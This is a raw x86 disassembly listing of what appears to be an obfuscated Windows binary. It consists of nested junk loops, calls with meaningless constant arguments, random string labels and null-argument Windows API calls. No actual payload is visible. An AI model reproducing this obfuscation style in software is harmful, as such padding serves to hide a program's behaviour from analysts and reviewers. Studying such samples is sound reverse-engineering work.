mov dword [ebp - 0xa64], edx
push 0x276a
push 0x3c03
push 1
push 0
push 0x584d
push 1
push 0
lea eax, [ebp - 0xa68]
push eax
push 0x6fe
push 1
push 0x797b
push 1
push 1
push 0x6403
push 1
push 0x4b08
push 0x5325
push 0x7031
push 0x289f
push 1
push 0x5d3d
push 0x858
push 0x5b42
call fcn.004b29ed
add esp, 0x5c
jmp 0x4b7912
jmp 0x4b78ec
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
cmp dword [ebp - 0x7dc], 0x2880
jge 0x4b79dc
mov edx, dword [ebp - 0x930]
mov ecx, 0xac7538
call fcn.0041c2dd
cmp dword [ebp - 0x574], 0x7bea
jge 0x4b79f8
mov edx, dword [ebp - 0x884]
mov ecx, 0xac7538
call fcn.0041c2dd
push 1
push 0x95a
push 0x71b9
push 1
push 0x63c3
push 1
lea eax, [ebp - 0x938]
push eax
push 0x5ca9
push 0x724c
push 1
lea eax, [ebp - 0x6b4]
push eax
push 0x7515
push 1
push 0
push 0x2e3a
call fcn.0049dcd5
add esp, 0x3c
jmp 0x4b7546
lea ecx, [ebp - 0xb7c]
call fcn.00417aef
mov dword [ebp - 0x58c], 0
mov dword [ebp - 0x4c], 0xfffffff8
mov dword [ebp - 0x57c], 0x16d5
mov dword [ebp - 0x88c], str.mtlaypp_gmetyni_avrkecpai_tyxvnm_sxdd_qvejxy_ajtpbnsyu_orfv_orwauay_nlsyxlmr
cmp dword [ebp - 0x57c], 0x187b
jle 0x4b7b98
and dword [ebp - 0x344], 0
jmp 0x4b7a98
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x23a9
jge 0x4b7b98
and dword [ebp - 0x20c], 0
jmp 0x4b7abe
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x1f6c
jge 0x4b7b93
and dword [ebp - 0x3e4], 0
jmp 0x4b7ae4
mov eax, dword [ebp - 0x3e4]
inc eax
mov dword [ebp - 0x3e4], eax
cmp dword [ebp - 0x3e4], 0x2e8e
jge 0x4b7b8e
and dword [ebp - 0x214], 0
jmp 0x4b7b0a
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x4919
jge 0x4b7b89
mov eax, dword [ebp - 0x344]
mov ecx, dword [ebp - 0x20c]
sar eax, cl
mov ecx, dword [ebp - 0x3e4]
shl eax, cl
mov ecx, dword [ebp - 0x214]
shl eax, cl
cdq
mov dword [ebp - 0xb18], eax
mov dword [ebp - 0xb14], edx
push 1
push 0x36d1
push 1
push 0
push 0x4a5e
push 0x270f
lea eax, [ebp - 0xb18]
push eax
push 0x240e
push 1
push 0x5b5b
push 0x3557
push 0x6ceb
push 1
push 1
push 0x4cd5
call fcn.004abf42
add esp, 0x3c
jmp 0x4b7afd
jmp 0x4b7ad7
jmp 0x4b7ab1
jmp 0x4b7a8b
mov dword [ebp - 0x494], 0xfffffffe
push 1
push 0x3f90
push 1
lea eax, [ebp - 0x88c]
push eax
lea eax, [ebp - 0x57c]
push eax
push 0
push 0x6e9
push 1
push 0x4090
push 1
push 0x12a6
push 0x6b0d
call fcn.004b1a0c
add esp, 0x30
mov dword [ebp - 0x21c], 1
mov dword [ebp - 0x470], 0x3d188047
mov dword [ebp - 0x34c], 0
jmp 0x4b7c08
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 2
jge 0x4b7c24
mov eax, dword [ebp - 0x34c]
mov dword [ebp + eax*4 - 0x450], 1
jmp 0x4b7bfb
cmp dword [ebp - 0x58c], 0xb302
jge 0x4b7cc5
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x450]
mov dword [ebp - 0xc94], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x450]
imul eax, dword [ebp - 0x494]
cmp eax, 3
je 0x4b7c6c
mov dword [ebp - 0x754], 1
jmp 0x4b7c73
and dword [ebp - 0x754], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x450]
cmp dword [ebp - 0x754], eax
jle 0x4b7c94
mov dword [ebp - 0x940], 1
jmp 0x4b7c9b
and dword [ebp - 0x940], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x450]
mov dword [ebp - 0xc9c], eax
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x4c], eax
jg 0x4b7cc5
mov dword [ebp - 0x894], 1
jmp 0x4b7ccc
and dword [ebp - 0x894], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x450]
mov dword [ebp - 0xc90], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x450]
mov dword [ebp - 0xc3c], eax
mov dword [ebp - 0x4c], 0
cmp dword [ebp - 0x4c], 0
jne 0x4b7d0b
mov dword [ebp - 0x584], 1
jmp 0x4b7d12
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x584]
mov dword [ebp - 0x494], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x450]
cmp dword [ebp - 0x494], eax
jge 0x4b7d3f
mov dword [ebp - 0x6bc], 1
jmp 0x4b7d46
and dword [ebp - 0x6bc], 0
mov eax, dword [ebp - 0x470]
dec eax
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x470]
cmp eax, dword [ebp - 0x6bc]
jge 0x4b7d76
cmp dword [ebp - 0x21c], 0
je 0x4b7d76
mov dword [ebp - 0x460], 1
jmp 0x4b7d7d
and dword [ebp - 0x460], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x460]
mov dword [ebp + eax - 0x450], ecx
mov eax, dword [ebp - 0x21c]
cmp dword [ebp - 0x460], eax
jg 0x4b7daa
mov dword [ebp - 0x7a4], 1
jmp 0x4b7db1
and dword [ebp - 0x7a4], 0
mov eax, dword [ebp - 0x58c]
cmp dword [ebp - 0x7a4], eax
jl 0x4b7dcb
mov dword [ebp - 0x594], 1
jmp 0x4b7dd2
and dword [ebp - 0x594], 0
cmp dword [ebp - 0x594], 0
jl 0x4b7de7
mov dword [ebp - 0x6c4], 1
jmp 0x4b7dee
and dword [ebp - 0x6c4], 0
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x4c], 0
jmp 0x4b7e0a
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 2
jge 0x4b7e20
mov eax, dword [ebp - 0x4c]
mov dword [ebp + eax*4 - 0x450], 0xffffffff
jmp 0x4b7e03
mov byte [ebp - 0xe8], 5
mov byte [ebp - 0xe7], 0xec
mov byte [ebp - 0xe6], 9
mov byte [ebp - 0xe5], 8
mov byte [ebp - 0xe4], 2
mov byte [ebp - 0xe3], 0x16
mov byte [ebp - 0xe2], 0xa
mov byte [ebp - 0xe1], 0x1e
mov byte [ebp - 0xe0], 4
mov byte [ebp - 0xdf], 9
mov byte [ebp - 0xde], 0
mov byte [ebp - 0xdd], 0x2e
mov byte [ebp - 0xdc], 4
mov byte [ebp - 0xdb], 0x93
mov byte [ebp - 0xda], 0x8d
mov byte [ebp - 0xd9], 0x69
mov byte [ebp - 0xd8], 0x91
mov byte [ebp - 0xd7], 6
mov byte [ebp - 0xd6], 0x78
mov byte [ebp - 0xd5], 0xb
mov byte [ebp - 0xd4], 0x5f
mov byte [ebp - 0xd3], 3
mov byte [ebp - 0xd2], 2
mov byte [ebp - 0xd1], 7
mov byte [ebp - 0xd0], 0x5c
mov byte [ebp - 0xcf], 8
mov byte [ebp - 0xce], 0x1c
mov byte [ebp - 0xcd], 1
mov byte [ebp - 0xcc], 0x4b
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x970], 0xffffffff
mov dword [ebp - 0x5f4], 0
mov dword [ebp - 0x414], 0
jmp 0x4b7f1f
mov eax, dword [ebp - 0x414]
inc eax
mov dword [ebp - 0x414], eax
cmp dword [ebp - 0x414], 2
jge 0x4b7f3b
mov eax, dword [ebp - 0x414]
mov dword [ebp + eax*4 - 0xf0], 0x477862fd
jmp 0x4b7f12
mov dword [ebp - 0x18], 1
jmp 0x4b7f4b
mov eax, dword [ebp - 0x18]
dec eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jl 0x4b8a36
mov dword [ebp - 0x54], 0xaaf5bfb6
mov dword [ebp - 0x59c], 0x5c27
mov dword [ebp - 0x948], str.hlqkbx_jwtdb_fyfxhu_qigchbu_dfnjgb_mdw_sfav
cmp dword [ebp - 0x59c], 0x5cdb
jle 0x4b800e
and dword [ebp - 0x224], 0
jmp 0x4b7f96
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x643c
jge 0x4b800e
and dword [ebp - 0x354], 0
jmp 0x4b7fb8
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x4177
jge 0x4b8009
lea eax, [ebp - 0x224]
push eax
push 1
push 0x50ea
push 1
lea eax, [ebp - 0x354]
push eax
push 0x25a1
push 0x3089
push 0x442
push 0
push 0
push 0x346c
push 1
push 0x7649
push 0x10e7
call fcn.004c18c8
add esp, 0x38
jmp 0x4b7fab
jmp 0x4b7f89
mov dword [ebp - 0x498], 0x101eb64d
cmp dword [ebp - 0x59c], 0x584a
jge 0x4b8030
push dword [ebp - 0x948]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x5cc], 0
mov dword [ebp - 0x968], 0x840c2c6f
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0xf0], 0
je 0x4b80ca
mov dword [ebp - 0x75c], 1
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xf0]
mov ecx, dword [ebp - 0x75c]
add ecx, 8
add eax, ecx
cmp eax, 0x51c3
jg 0x4b8083
mov dword [ebp - 0x5a4], 1
jmp 0x4b808a
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x75c]
cmp eax, dword [ebp - 0x5a4]
jg 0x4b80a4
mov dword [ebp - 0x6cc], 1
jmp 0x4b80ab
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xf0]
add eax, dword [ebp - 0x6cc]
mov ecx, dword [ebp - 0x18]
mov dword [ebp + ecx*4 - 0xf0], eax
jmp 0x4b8a31
mov dword [ebp - 0x5ac], 0x6891
mov dword [ebp - 0x89c], str.soo_qggqbedtn_xtario_knjvm_fmjluq
cmp dword [ebp - 0x5ac], 0x6a2f
jle 0x4b81cc
and dword [ebp - 0x234], 0
jmp 0x4b8104
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0x4df9
jge 0x4b81cc
and dword [ebp - 0x22c], 0
jmp 0x4b812a
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x3024
jge 0x4b81c7
and dword [ebp - 0x3ec], 0
jmp 0x4b8150
mov eax, dword [ebp - 0x3ec]
inc eax
mov dword [ebp - 0x3ec], eax
cmp dword [ebp - 0x3ec], 0x7524
jge 0x4b81c2
mov eax, dword [ebp - 0x22c]
xor eax, dword [ebp - 0x3ec]
or eax, dword [ebp - 0x234]
cdq
mov dword [ebp - 0xa78], eax
mov dword [ebp - 0xa74], edx
push 0x266f
push 1
push 0x6ee4
push 0x23e6
push 1
push 0x97f
push 1
push 0x351
push 0xa38
lea eax, [ebp - 0xa78]
push eax
push 1
push 1
push 1
push 0x6aaf
push 0
push 0x69f1
call fcn.0049d214
add esp, 0x40
jmp 0x4b8143
jmp 0x4b811d
jmp 0x4b80f7
mov dword [ebp - 0xa4], 0x4c8f0d07
push 0x13d5
push 0
push 0x1928
lea eax, [ebp - 0x5ac]
push eax
push 0x7f57
lea eax, [ebp - 0x89c]
push eax
push 0x2913
push 0x8ef
push 0
call fcn.004c3b63
add esp, 0x24
mov dword [ebp - 0x7cc], 0x1146
mov dword [ebp - 0x950], str.smnpny_csco_goxfquqw_uww_twmexnof
cmp dword [ebp - 0x7cc], 0x13cc
jle 0x4b8354
and dword [ebp - 0x35c], 0
jmp 0x4b8243
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0x5e8e
jge 0x4b8329
and dword [ebp - 0x23c], 0
jmp 0x4b8269
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0x5d1d
jge 0x4b8324
and dword [ebp - 0x41c], 0
jmp 0x4b828f
mov eax, dword [ebp - 0x41c]
inc eax
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x41c], 0x7b4c
jge 0x4b831f
and dword [ebp - 0x244], 0
jmp 0x4b82b5
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x1e9c
jge 0x4b831a
mov ecx, dword [ebp - 0x35c]
and ecx, dword [ebp - 0x23c]
mov eax, dword [ebp - 0x41c]
cdq
idiv dword [ebp - 0x244]
xor ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0xb08], eax
mov dword [ebp - 0xb04], edx
lea eax, [ebp - 0xb08]
push eax
push 0x658d
push 0
push 1
push 1
push 0
push 0x735d
push 0
push 0x7363
push 0x4630
call fcn.004ac4f0
add esp, 0x28
jmp 0x4b82a8
jmp 0x4b8282
jmp 0x4b825c
jmp 0x4b8236
push 0x2fde
push 0x5d13
push 1
push 1
push 1
push 0
push 0x385
push 0
push 0x60c3
push 0x3491
call fcn.004ac4f0
add esp, 0x28
mov dword [ebp - 0x8b4], 9
push 0x13c1
push 0x4aa9
push 0
push 1
push 1
push 0x167d
lea eax, [ebp - 0x950]
push eax
push 1
lea eax, [ebp - 0x7cc]
push eax
push 0x766f
push 0x1ded
push 1
push 0x5aec
push 0x6b31
push 0
push 1
call fcn.004b04df
add esp, 0x40
mov dword [ebp - 0xbe8], 1
mov dword [ebp - 0xa4], 0
jmp 0x4b83c8
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 1
jg 0x4b8a31
mov dword [ebp - 0x36c], 0xfffffffe
mov dword [ebp - 0x5b4], 0x4b74
mov dword [ebp - 0x8a4], str.tkddqk_yumr_yrbnifuw_jnk_qeftci_kwafvh_vpfl_ghfvsp_lgnou_qxxxx_gpksyxjxh_xoayyxpq_gkocdtstt_lfsyq
cmp dword [ebp - 0x5b4], 0x4ca3
jle 0x4b8535
push 1
push 0
push 0x1607
push 1
push 1
push 0x3c84
push 0x277
push 0x2f7d
push 1
push 1
call fcn.004c34cb
add esp, 0x28
and dword [ebp - 0x3f4], 0
jmp 0x4b8441
mov eax, dword [ebp - 0x3f4]
inc eax
mov dword [ebp - 0x3f4], eax
cmp dword [ebp - 0x3f4], 0x317d
jge 0x4b8527
and dword [ebp - 0x364], 0
jmp 0x4b8467
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x640d
jge 0x4b8522
and dword [ebp - 0xf4], 0
jmp 0x4b848d
mov eax, dword [ebp - 0xf4]
inc eax
mov dword [ebp - 0xf4], eax
cmp dword [ebp - 0xf4], 0x2b03
jge 0x4b851d
and dword [ebp - 0x254], 0
jmp 0x4b84b3
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x76a2
jge 0x4b8518
mov eax, dword [ebp - 0x364]
mov ecx, dword [ebp - 0xf4]
sar eax, cl
or eax, dword [ebp - 0x3f4]
or eax, dword [ebp - 0x254]
cdq
mov dword [ebp - 0xa88], eax
mov dword [ebp - 0xa84], edx
push 0
push 0x28fc
lea eax, [ebp - 0xa88]
push eax
push 0x74e0
push 1
push 0x14d5
push 0x7505
push 1
push 1
push 0x73fd
call fcn.0049fd53
add esp, 0x28
jmp 0x4b84a6
jmp 0x4b8480
jmp 0x4b845a
jmp 0x4b8434
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DefDlgProcA]
mov dword [ebp - 0xbf0], 9
cmp dword [ebp - 0x5b4], 0x4aaf
jge 0x4b8557
push dword [ebp - 0x8a4]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x960], 5
mov dword [ebp - 0xbe4], 0xc8fbfc75
mov dword [ebp - 0x36c], 0
jmp 0x4b8584
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 1
jg 0x4b8845
mov dword [ebp - 0x6d4], 0x1ac3dc99
mov dword [ebp - 0xc98], 3
mov dword [ebp - 0xbec], 0
mov dword [ebp - 0xc44], 0xffffffff
mov dword [ebp - 0x5bc], 0x7d03
mov dword [ebp - 0x958], str.wtyxk_afhhd_cyc_tna_pejwbyqi_jyifi_fvbclres
cmp dword [ebp - 0x5bc], 0x800b
jle 0x4b8665
and dword [ebp - 0x424], 0
jmp 0x4b85f3
mov eax, dword [ebp - 0x424]
inc eax
mov dword [ebp - 0x424], eax
cmp dword [ebp - 0x424], 0x3d78
jge 0x4b8665
and dword [ebp - 0x25c], 0
jmp 0x4b8615
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x5846
jge 0x4b8663
lea eax, [ebp - 0x25c]
push eax
push 1
push 0x2d03
push 0x14f9
lea eax, [ebp - 0x424]
push eax
push 0x2423
push 1
push 0x2a11
push 1
push 0x9c7
push 1
push 0x2b48
push 0
push 0
call fcn.004a0c6d
add esp, 0x38
jmp 0x4b8608
jmp 0x4b85e6
mov eax, dword [ebp - 0x6d4]
dec eax
mov dword [ebp - 0x6d4], eax
push 0
push 0
push 1
push 0
push 0x55b4
push 0x42ec
push 1
push 0x7f4a
push 0xe3f
push 0x2f67
push 0x7cc1
push 0x27e5
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x958]
push eax
push 0x2135
push 0x2232
push 1
push 0x30a9
push 0x482a
push 0x70d9
call fcn.004c46d6
add esp, 0x50
mov dword [ebp - 0x54], 1
jmp 0x4b86e0
mov eax, dword [ebp - 0x54]
dec eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jl 0x4b8840
mov dword [ebp - 0xbf4], 0xffffffff
mov dword [ebp - 0xc80], 1
mov dword [ebp - 0x764], 0x4aa3
mov dword [ebp - 0x8ac], str.ainkaw_qewgsocvy_rbi
cmp dword [ebp - 0x764], 0x4e7d
jle 0x4b879d
and dword [ebp - 0x264], 0
jmp 0x4b8734
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0x573c
jge 0x4b879d
and dword [ebp - 0x374], 0
jmp 0x4b8756
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x2c0b
jge 0x4b879b
push 1
lea eax, [ebp - 0x264]
push eax
push 0x66c5
lea eax, [ebp - 0x374]
push eax
push 0x7d34
push 0x53f6
push 0
push 0x7487
push 1
push 0x26bc
push 1
call fcn.004a7fda
add esp, 0x2c
jmp 0x4b8749
jmp 0x4b8727
push 0x6e52
push 0x2797
push 1
push 1
push 0x276d
lea eax, [ebp - 0x5cc]
push eax
push 0
push 1
push 1
push 0x275f
push 0xab8
push 0x4e4c
push 0x608d
push 0x13a
push 1
push 0
push 1
call fcn.004af30f
add esp, 0x44
cmp dword [ebp - 0x764], 0x4808
jge 0x4b8827
push 0
push 0xb0b
push 0x4b62
push 0x70d3
push 0x7d52
push 1
push 1
lea eax, [ebp - 0x8ac]
push eax
push 0x55a1
push 0x3657
push 1
push 1
call fcn.004b0cc4
add esp, 0x30
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x54]
mov eax, dword [ebp + eax*4 - 0xf0]
mov dword [ebp + ecx*4 - 0xf0], eax
jmp 0x4b86d9
jmp 0x4b8577
mov dword [ebp - 0x7e0], 0x314a
mov dword [ebp - 0x8bc], str.qdax_pityek_lgflt
cmp dword [ebp - 0x7e0], 0x34cd
jle 0x4b88ba
push 0x40f4
push 0x5cb
push 1
push 1
push 0x4d9f
push 1
push 0
push 0x7fcb
push 1
push 0x4a78
push 0x2eb
push 0
push 1
push 0x4321
push 0x3415
push 1
push 1
push 0x3014
call fcn.004b20ef
add esp, 0x48
push 0
push 0x6439
call fcn.004c325f
pop ecx
pop ecx
mov eax, 0x17b4
test eax, eax
je 0x4b891a
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0xf0]
mov dword [ebp - 0x5c4], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x5c4]
mov dword [ebp + eax*4 - 0xf0], ecx
cmp dword [ebp - 0x5c4], 0xa5c1b09c
jb 0x4b88fb
mov dword [ebp - 0x6dc], 1
jmp 0x4b8902
and dword [ebp - 0x6dc], 0
mov eax, dword [ebp - 0x54]
imul eax, dword [ebp - 0x6dc]
add eax, dword [ebp - 0x5cc]
mov dword [ebp - 0x498], eax
jne 0x4b8933
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf0], 0
jne 0x4b8933
and dword [ebp - 0x5d4], 0
jmp 0x4b893d
mov dword [ebp - 0x5d4], 1
mov eax, dword [ebp - 0x960]
cmp dword [ebp - 0x5d4], eax
jl 0x4b8957
mov dword [ebp - 0x6e4], 1
jmp 0x4b895e
and dword [ebp - 0x6e4], 0
cmp dword [ebp - 0x6e4], 0xda3b
jl 0x4b8976
mov dword [ebp - 0x5dc], 1
jmp 0x4b897d
and dword [ebp - 0x5dc], 0
mov eax, dword [ebp - 0x5f4]
cmp dword [ebp - 0x5dc], eax
jle 0x4b8997
mov dword [ebp - 0x76c], 1
jmp 0x4b899e
and dword [ebp - 0x76c], 0
mov eax, dword [ebp - 0x8b4]
cmp dword [ebp - 0x76c], eax
jle 0x4b89b8
mov dword [ebp - 0x5e4], 1
jmp 0x4b89bf
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x5e4], eax
je 0x4b89d6
mov dword [ebp - 0x6ec], 1
jmp 0x4b89dd
and dword [ebp - 0x6ec], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x6ec], eax
jne 0x4b89f7
mov dword [ebp - 0x5ec], 1
jmp 0x4b89fe
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
sub eax, 5
sub eax, dword [ebp - 0x968]
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x7e0], 0x2fac
jge 0x4b8a2c
mov edx, dword [ebp - 0x8bc]
mov ecx, 0xac7538
call fcn.0041c2dd
jmp 0x4b83bb
jmp 0x4b7f44
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xbfc], eax
mov eax, dword [ebp - 0x970]
mov dword [ebp - 0xc54], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xf0]
mov dword [ebp - 0xc04], eax
cmp dword [ebp - 0x5f4], 0
jne 0x4b8a77
push 0xfffffffffffffffc
pop eax
test eax, eax
jne 0x4b8a77
and dword [ebp - 0x6f4], 0
jmp 0x4b8a81
mov dword [ebp - 0x6f4], 1
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x18], eax
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xe8]
or eax, 0x80
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xe8]
and ecx, 0x80
sub eax, ecx
xor ecx, ecx
inc ecx
imul ecx, ecx, 0
movzx ecx, byte [ebp + ecx - 0xe8]
mov word [ebp + ecx*2 - 0xbc8], ax
mov dword [ebp - 0x26c], 0
jmp 0x4b8ae2
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 3
jge 0x4b8afe
mov eax, dword [ebp - 0x26c]
mov dword [ebp + eax*4 - 0xcec], 1
jmp 0x4b8ad5
mov byte [ebp - 0x75], 0
movzx eax, byte [ebp - 0x75]
test eax, eax
je 0x4b8b14
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
mov dword [ebp - 0x774], 0x5e02
mov dword [ebp - 0x978], str.tucn_twmayeab_ckitnrwsb_qlrwsq_yvav_bhlirf
cmp dword [ebp - 0x774], 0x5fb5
jle 0x4b8bab
and dword [ebp - 0x3fc], 0
jmp 0x4b8b4a
mov eax, dword [ebp - 0x3fc]
inc eax
mov dword [ebp - 0x3fc], eax
cmp dword [ebp - 0x3fc], 0xee2
jge 0x4b8bab
and dword [ebp - 0x274], 0
jmp 0x4b8b6c
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0x22cd
jge 0x4b8ba9
push 1
lea eax, [ebp - 0x3fc]
push eax
push 1
push 0x32a9
push 0x7ce0
push 0x6eaa
lea eax, [ebp - 0x274]
push eax
push 1
push 0
push 1
call fcn.00499a6b
add esp, 0x28
jmp 0x4b8b5f
jmp 0x4b8b3d
mov byte [ebp - 0x69], 0
movzx eax, byte [ebp - 0x69]
test eax, eax
je 0x4b8cf8
mov dword [ebp - 0x5fc], 0x4218
mov dword [ebp - 0x8c4], str.lxrw_ikffdf_omtloa_dipchip_doaakyjmc_fnfwebb_dyqlbtt_kpkphqwok_quq_wmg
cmp dword [ebp - 0x5fc], 0x441e
jle 0x4b8cb1
and dword [ebp - 0x37c], 0
jmp 0x4b8bf5
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0x5e7a
jge 0x4b8cb1
and dword [ebp - 0x27c], 0
jmp 0x4b8c1b
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x77dc
jge 0x4b8cac
and dword [ebp - 0x42c], 0
jmp 0x4b8c41
mov eax, dword [ebp - 0x42c]
inc eax
mov dword [ebp - 0x42c], eax
cmp dword [ebp - 0x42c], 0x5919
jge 0x4b8ca7
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x27c]
shl eax, cl
and eax, dword [ebp - 0x42c]
cdq
mov dword [ebp - 0xb28], eax
mov dword [ebp - 0xb24], edx
push 0x5090
push 0x6b66
push 1
push 1
push 0
push 1
push 0x3b86
push 0x2a16
push 0
push 0x712f
lea eax, [ebp - 0xb28]
push eax
push 0x3140
call fcn.004c2457
add esp, 0x30
jmp 0x4b8c34
jmp 0x4b8c0e
jmp 0x4b8be8
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
cmp dword [ebp - 0x5fc], 0x41d5
jge 0x4b8cf8
push 0
push 1
push 1
push 0xc32
push 1
lea eax, [ebp - 0x8c4]
push eax
push 0
push 1
push 1
push 0x6ef2
call fcn.004a64a5
add esp, 0x28
lea eax, [ebp - 0x774]
push eax
push 0x59
push 0x333c
push 1
push 0x157e
push 1
lea eax, [ebp - 0x978]
push eax
push 0
push 0x49c5
call fcn.004c92aa
add esp, 0x24
mov dword [ebp - 0xc], 2
and dword [ebp - 0x90], 0
jmp 0x4b8d3d
mov eax, dword [ebp - 0xc]
inc eax
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x1d
jae 0x4ba75d
mov dword [ebp - 0xb70], 0x2d5e48d3
mov dword [ebp - 0xb6c], 0x2d5e48d3
mov dword [ebp - 0xb68], 0x2d5e48d3
mov dword [ebp - 0xb64], 0x2d5e48d3
mov dword [ebp - 0x284], 0
jmp 0x4b8d88
mov eax, dword [ebp - 0x284]
inc eax
mov dword [ebp - 0x284], eax
cmp dword [ebp - 0x284], 1
jge 0x4b8da1
mov eax, dword [ebp - 0x284]
mov dword [ebp + eax*4 - 0x48], 0
jmp 0x4b8d7b
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x48], 3
jmp 0x4b8dc6
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x48]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x48], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x48], 0
jl 0x4b947d
mov dword [ebp - 0x604], 0x1c7f
mov dword [ebp - 0x8cc], str.xdnk_gjsimr_qvfik
cmp dword [ebp - 0x604], 0x1d60
jle 0x4b8ee2
and dword [ebp - 0x384], 0
jmp 0x4b8e11
mov eax, dword [ebp - 0x384]
inc eax
mov dword [ebp - 0x384], eax
cmp dword [ebp - 0x384], 0x6e55
jge 0x4b8ed4
and dword [ebp - 0x28c], 0
jmp 0x4b8e37
mov eax, dword [ebp - 0x28c]
inc eax
mov dword [ebp - 0x28c], eax
cmp dword [ebp - 0x28c], 0x27fc
jge 0x4b8ecf
mov eax, dword [ebp - 0x384]
imul eax, dword [ebp - 0x28c]
cdq
mov dword [ebp - 0xa98], eax
mov dword [ebp - 0xa94], edx
push 0x5c1c
push 0
push 0x1799
push 0x4906
push 0x5d1
push 0x73b2
push 0x4215
push 0x36c6
push 0x4498
push 0x455b
push 0x7cd7
push 0x56d3
push 1
lea eax, [ebp - 0xa98]
push eax
push 0x6328
push 0x510c
push 0x4bd5
push 1
push 1
push 0x2dcb
push 0
push 0x40cd
call fcn.004a4dad
add esp, 0x58
jmp 0x4b8e2a
